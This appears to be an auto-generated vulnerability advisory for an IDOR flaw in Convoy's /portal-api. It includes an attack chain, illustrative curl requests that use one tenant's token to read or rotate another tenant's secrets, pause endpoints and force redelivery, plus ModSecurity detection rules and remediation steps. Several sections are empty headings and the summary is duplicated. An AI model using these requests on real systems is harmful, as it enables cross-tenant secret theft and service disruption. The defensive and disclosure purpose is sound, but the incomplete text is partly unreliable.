CVE-2026-135298 — Frain-dev Convoy (26.6.0) — CWE-639
Convoy before 26.6.0 contains an insecure direct object reference vulnerability in /portal-api single-resource handlers that allows portal link token holders to access other tenants' resources by ID. Attackers with another tenant's resource IDs in the same project can read endpoint signing secrets and webhook payloads, rotate secrets, pause or delete endpoints, and force event re-delivery.
Convoy before 26.6.0 contains an insecure direct object reference vulnerability in /portal-api single-resource handlers that allows portal link token holders to access other tenants' resources by ID. Attackers with another tenant's resource IDs in the same project can read endpoint signing secrets and webhook payloads, rotate secrets, pause or delete endpoints, and force event re-delivery.
🎯 What is this vulnerability?
This vulnerability is a classic Insecure Direct Object Reference (IDOR), classified under CWE-639. It affects the frain-dev/convoy project, specifically versions prior to 26.6.0.
Technical Flaw Analysis:
The core issue lies in the authorization logic of the /portal-api single-resource handlers. In a multi-tenant SaaS architecture like Convoy (which manages webhooks and event delivery), resources (such as endpoints, projects, and events) are logically separated by tenant boundaries.
The vulnerability occurs because the API handlers fail to verify that the tenant ID associated with the authenticated user (via the portal link token) matches the tenant ID of the resource being requested by its unique Identifier (ID).
1. Authentication vs. Authorization: The system correctly authenticates the user via a "portal link token." However, it fails to enforce object-level authorization.
2. Missing Check: When a request is made to a single-resource endpoint (e.g., GET /portal-api/endpoints/{id}), the backend retrieves the resource by {id} but does not cross-reference the tenant_id of that resource against the tenant_id embedded in or derived from the user's token.
3. Result: Any valid portal link token holder can access resources belonging to other tenants within the same project scope, provided they can guess or enumerate the resource IDs.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies that the target is running
frain-dev/convoy. This can be done by checking theServerheader, specific error messages, or known API paths like/portal-api. - Token Acquisition: The attacker needs a valid "portal link token." This is typically obtained by: * Intercepting a legitimate user's portal link (e.g., via a compromised email, phishing, or a previous lower-severity bug). * If the portal link is shared or predictable, the attacker may already possess a valid token for Tenant A.
- ID Enumeration: The attacker needs the IDs of resources belonging to Tenant B. Since Convoy likely uses UUIDs or sequential integers: * If UUIDs: The attacker may need to leak IDs via other endpoints (e.g., list endpoints that might be less strictly filtered, or via error messages). * If Sequential Integers: The attacker can brute-force IDs (e.g.,
1, 2, 3...) to find resources belonging to other tenants.2. Exploitation
The attacker uses their valid token for Tenant A to access resources belonging to Tenant B.Illustrative PoC (Note: Exact route parameters may vary; this is an illustrative example of the IDOR class):
# Attacker has a valid portal link token for Tenant A: "TOKEN_A"
# Attacker knows or guesses the ID of an endpoint belonging to Tenant B: "ENDPOINT_ID_B"
# 1. Read Endpoint Details (including signing secrets)
curl -X GET "https://target-convoy.example.com/portal-api/endpoints/ENDPOINT_ID_B" \
-H "Authorization: Bearer TOKEN_A" \
-H "Content-Type: application/json"
# 2. Rotate Secrets (Integrity Impact)
curl -X POST "https://target-convoy.example.com/portal-api/endpoints/ENDPOINT_ID_B/rotate-secret" \
-H "Authorization: Bearer TOKEN_A" \
-H "Content-Type: application/json"
# 3. Pause Endpoint (Availability Impact)
curl -X PATCH "https://target-convoy.example.com/portal-api/endpoints/ENDPOINT_ID_B" \
-H "Authorization: Bearer TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status": "paused"}'
# 4. Force Event Re-delivery (Integrity/Availability Impact)
curl -X POST "https://target-convoy.example.com/portal-api/events/EVENT_ID_B/redeliver" \
-H "Authorization: Bearer TOKEN_A" \
-H "Content-Type: application/json"Note: The exact API paths (/endpoints/{id}, /rotate-secret, etc.) are illustrative. The CVE description confirms the existence of "single-resource handlers" in /portal-api that are vulnerable. The attacker must identify the specific resource types (endpoints, events) and their IDs.
3. Post-Exploitation
🌍 Real World Impact
Based on the CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L:
🛡️ Remediation & Mitigation
1. Upgrade
frain-dev/convoy < 26.6.02. Workarounds (If Immediate Upgrade is Not Possible)
/portal-api endpoints to trusted IP ranges only. This reduces the attack surface but does not eliminate the IDOR risk if an attacker has a valid token from within the trusted range.# Detect rapid access to multiple endpoint IDs by the same user
SecRule REQUEST_URI "@pm /portal-api/endpoints/" \
"id:100001, phase:1, t:none, setvar:tx.idor_count=+1, ctl:auditLogParts=abchZ"
SecRule TX:idor_count "@gt 10" \
"id:100002, phase:1, t:none, msg:'Potential IDOR: Rapid access to multiple endpoints', log, setvar:tx.block=true"
SecRule TX:block "@eq 1" \
"id:100003, phase:1, t:none, deny, status:403, msg:'Blocked potential IDOR attempt'"Note: This rule is a heuristic and may produce false positives. It is not a substitute for patching.*
3. Detection & IoCs
403 or 404 responses from /portal-api endpoints, indicating failed IDOR attempts.
* Look for 200 responses to /portal-api endpoints where the Authorization header token belongs to a different tenant than the resource ID (requires application-level logging).
* Example Log Pattern:GET /portal-api/endpoints/550e8400-e29b-41d4-a716-446655440000 HTTP/1.1 200
Authorization: Bearer TOKEN_TENANT_AIf 550e8400-... belongs to Tenant B, this is an IoC.
* Monitor for secret rotation events, endpoint status changes (pause/delete), and event re-delivery requests.
* Alert on any of these actions performed by a user whose token does not match the resource owner.
* Monitor for queries that fetch resources by ID without a corresponding
WHERE tenant_id = ? clause.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query